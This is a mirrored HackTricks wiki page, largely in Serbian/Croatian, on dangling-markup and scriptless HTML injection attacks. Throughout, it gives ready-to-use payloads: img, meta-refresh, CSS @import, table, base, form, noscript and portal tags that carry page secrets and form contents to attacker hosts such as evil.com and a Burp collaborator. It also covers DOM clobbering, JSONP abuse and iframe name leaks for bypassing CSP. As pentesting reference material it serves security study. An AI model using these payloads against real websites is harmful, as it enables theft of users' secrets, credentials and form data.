mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
12 KiB
Markdown
228 lines
12 KiB
Markdown
# Dangling Markup - HTML scriptless injection
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Resume
|
|
|
|
Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se **HTML injekcija pronađe**. Ovo je veoma korisno ako **ne pronađete način da iskoristite** [**XSS** ](../xss-cross-site-scripting/index.html) ali možete **ubaciti neke HTML tagove**.\
|
|
Takođe je korisno ako je neka **tajna sačuvana u čistom tekstu** u HTML-u i želite da je **ekfiltrirate** iz klijenta, ili ako želite da obmanete neku izvršavanje skripte.
|
|
|
|
Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) ekfiltriranjem informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
|
|
|
|
## Main Applications
|
|
|
|
### Stealing clear text secrets
|
|
|
|
Ako ubacite `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između ubačenog `img` taga i sledeće navodnike unutar koda. Ako se neka tajna nekako nalazi u tom delu, ukrasti ćete je (možete uraditi istu stvar koristeći dvostruke navodnike, pogledajte šta bi moglo biti zanimljivije za korišćenje).
|
|
|
|
Ako je `img` tag zabranjen (zbog CSP-a na primer) možete takođe koristiti `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
|
```html
|
|
<img src='http://attacker.com/log.php?HTML=
|
|
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
|
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
|
```
|
|
Napomena da **Chrome blokira HTTP URL-ove** sa "<" ili "\n" u njima, pa možete probati druge protokole kao što je "ftp".
|
|
|
|
Takođe možete zloupotrebiti CSS `@import` (poslaće sav kod dok ne pronađe ";")
|
|
```html
|
|
<style>@import//hackvertor.co.uk? <--- Injected
|
|
<b>steal me!</b>;
|
|
```
|
|
Možete takođe koristiti **`<table`**:
|
|
```html
|
|
<table background='//your-collaborator-id.burpcollaborator.net?'
|
|
```
|
|
Možete takođe umetnuti `<base` tag. Sve informacije će biti poslate dok se citat ne zatvori, ali to zahteva neku interakciju korisnika (korisnik mora kliknuti na neki link, jer će `<base` tag promeniti domen na koji link upućuje):
|
|
```html
|
|
<base target=' <--- Injected
|
|
steal me'<b>test</b>
|
|
```
|
|
### Krađa formi
|
|
```html
|
|
<base href="http://evil.com/" />
|
|
```
|
|
Zatim, forme koje šalju podatke na putanju (kao što je `<form action='update_profile.php'>`) će slati podatke na zloćudnu domenu.
|
|
|
|
### Krađa formi 2
|
|
|
|
Postavite zaglavlje forme: `<form action='http://evil.com/log_steal'>` ovo će prepisati sledeće zaglavlje forme i svi podaci iz forme će biti poslati napadaču.
|
|
|
|
### Krađa formi 3
|
|
|
|
Dugme može promeniti URL na koji će informacije iz forme biti poslate sa atributom "formaction":
|
|
```html
|
|
<button name="xss" type="submit" formaction="https://google.com">
|
|
I get consumed!
|
|
</button>
|
|
```
|
|
Napadač može koristiti ovo da ukrade informacije.
|
|
|
|
Pronađite [**primer ovog napada u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
|
|
|
### Krađa tajni u čistom tekstu 2
|
|
|
|
Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
|
|
```html
|
|
<input type='hidden' name='review_body' value="
|
|
```
|
|
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "_**Krađu tajnih podataka u čistom tekstu**_" sa "_**Krađom formi2**_".
|
|
|
|
Možete učiniti isto ubrizgavanjem forme i `<option>` taga. Svi podaci do zatvorenog `</option>` će biti poslati:
|
|
```html
|
|
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
|
```
|
|
### Injekcija parametara forme
|
|
|
|
Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana radnja:
|
|
```html
|
|
<form action="/change_settings.php">
|
|
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
|
|
|
<form action="/change_settings.php">
|
|
← Existing form (ignored by the parser) ...
|
|
<input type="text" name="invite_user" value="" /> ← Subverted field ...
|
|
<input type="hidden" name="xsrf_token" value="12345" />
|
|
...
|
|
</form>
|
|
</form>
|
|
```
|
|
### Krađa tajni u čistom tekstu putem noscript
|
|
|
|
`<noscript></noscript>` je tag čiji sadržaj će biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/onemogućiti Javascript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
|
|
|
Način da se exfiltrira sadržaj web stranice od tačke injekcije do dna na sajt koji kontroliše napadač biće injektovanje ovog:
|
|
```html
|
|
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
|
```
|
|
### Obilaženje CSP-a uz interakciju korisnika
|
|
|
|
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete saznati da čak i iz **najviše CSP ograničenih** okruženja možete i dalje **izvući podatke** uz neku **interakciju korisnika**. U ovoj prilici ćemo koristiti payload:
|
|
```html
|
|
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
|
<base target='
|
|
```
|
|
Napomena da ćete zamoliti **žrtvu** da **klikne na link** koji će ga **preusmeriti** na **payload** koji kontrolišete. Takođe, imajte na umu da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** sve do sledeće jednostruke navodnike.\
|
|
To će učiniti da će **vrednost** **`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekfiltrirati** te podatke:
|
|
```html
|
|
<script>
|
|
if(window.name) {
|
|
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
|
</script>
|
|
```
|
|
### Zavaravajući tok skripte 1 - HTML namespace napad
|
|
|
|
Umetnite novu oznaku sa id-jem unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će informacija biti podeljena:
|
|
```html
|
|
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
|
|
Share this status update with: ← Legitimate optional element of a dialog
|
|
<input id="share_with" value="" />
|
|
|
|
... function submit_status_update() { ... request.share_with =
|
|
document.getElementById('share_with').value; ... }
|
|
```
|
|
### Zavaravajući tok skripte 2 - Napad na prostor imena skripte
|
|
|
|
Kreirajte promenljive unutar javascript prostora imena umetajući HTML tagove. Tada će ova promenljiva uticati na tok aplikacije:
|
|
```html
|
|
<img id="is_public" /> ← Injected markup ... // Legitimate application code
|
|
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
|
|
The subsequent assignment fails in IE is_public = true; else is_public = false;
|
|
} function submit_new_acls() { ... if (is_public) request.access_mode =
|
|
AM_PUBLIC; ← Condition always evaluates to true ... }
|
|
```
|
|
### Zloupotreba JSONP-a
|
|
|
|
Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:
|
|
```html
|
|
<script src='/editor/sharing.js'>: ← Legitimate script
|
|
function set_sharing(public) {
|
|
if (public) request.access_mode = AM_PUBLIC;
|
|
else request.access_mode = AM_PRIVATE;
|
|
...
|
|
}
|
|
|
|
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
|
set_sharing({ ... })
|
|
```
|
|
Ili možete čak pokušati da izvršite neki javascript:
|
|
```html
|
|
<script src="/search?q=a&call=alert(1)"></script>
|
|
```
|
|
### Iframe zloupotreba
|
|
|
|
Dečiji dokument ima mogućnost da pregleda i menja `location` svojstvo svog roditelja, čak i u situacijama sa različitim izvorima. To omogućava umetanje skripte unutar **iframe** koja može preusmeriti klijenta na proizvoljnu stranicu:
|
|
```html
|
|
<html>
|
|
<head></head>
|
|
<body>
|
|
<script>
|
|
top.window.location = "https://attacker.com/hacked.html"
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
Ovo se može ublažiti nečim poput: `sandbox=' allow-scripts allow-top-navigation'`
|
|
|
|
Iframe se takođe može zloupotrebiti da bi se otkrile osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji se sam iframe-uje zloupotrebljavajući HTML injekciju koja čini da **osetljive informacije izgledaju unutar atributa imena iframe-a** i zatim pristupiti tom imenu iz inicijalnog iframe-a i otkriti ga.
|
|
```html
|
|
<script>
|
|
function cspBypass(win) {
|
|
win[0].location = "about:blank"
|
|
setTimeout(() => alert(win[0].name), 500)
|
|
}
|
|
</script>
|
|
|
|
<iframe
|
|
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
|
|
onload="cspBypass(this.contentWindow)"></iframe>
|
|
```
|
|
Za više informacija proverite [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
|
|
|
### \<meta zloupotreba
|
|
|
|
Možete koristiti **`meta http-equiv`** za izvršavanje **several actions** kao što je postavljanje kolačića: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ili izvršavanje preusmeravanja (u 5s u ovom slučaju): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
|
|
|
Ovo se može **izbeći** sa **CSP** u vezi sa **http-equiv** ( `Content-Security-Policy: default-src 'self';`, ili `Content-Security-Policy: http-equiv 'self';`)
|
|
|
|
### Novi \<portal HTML tag
|
|
|
|
Možete pronaći veoma **interesting research** o iskorišćenim ranjivostima \<portal taga [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
|
|
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
|
|
```html
|
|
<portal src='https://attacker-server?
|
|
```
|
|
### HTML Leaks
|
|
|
|
Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
|
|
|
## SS-Leaks
|
|
|
|
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranicu **iste domene** kao one koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na kojoj možemo injektovati HTML, već **drugoj stranici**.
|
|
|
|
{{#ref}}
|
|
ss-leaks.md
|
|
{{#endref}}
|
|
|
|
## XS-Search/XS-Leaks
|
|
|
|
XS-Search su orijentisani na **ekstrakciju informacija iz različitih domena** zloupotrebom **napada putem sporednih kanala**. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su [**CSS Injection**](../xs-search/index.html#css-injection) ili [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
|
|
|
|
{{#ref}}
|
|
../xs-search/
|
|
{{#endref}}
|
|
|
|
## Brute-Force Detection List
|
|
|
|
{{#ref}}
|
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
|
{{#endref}}
|
|
|
|
## References
|
|
|
|
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
|
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
|
- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
|
|
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|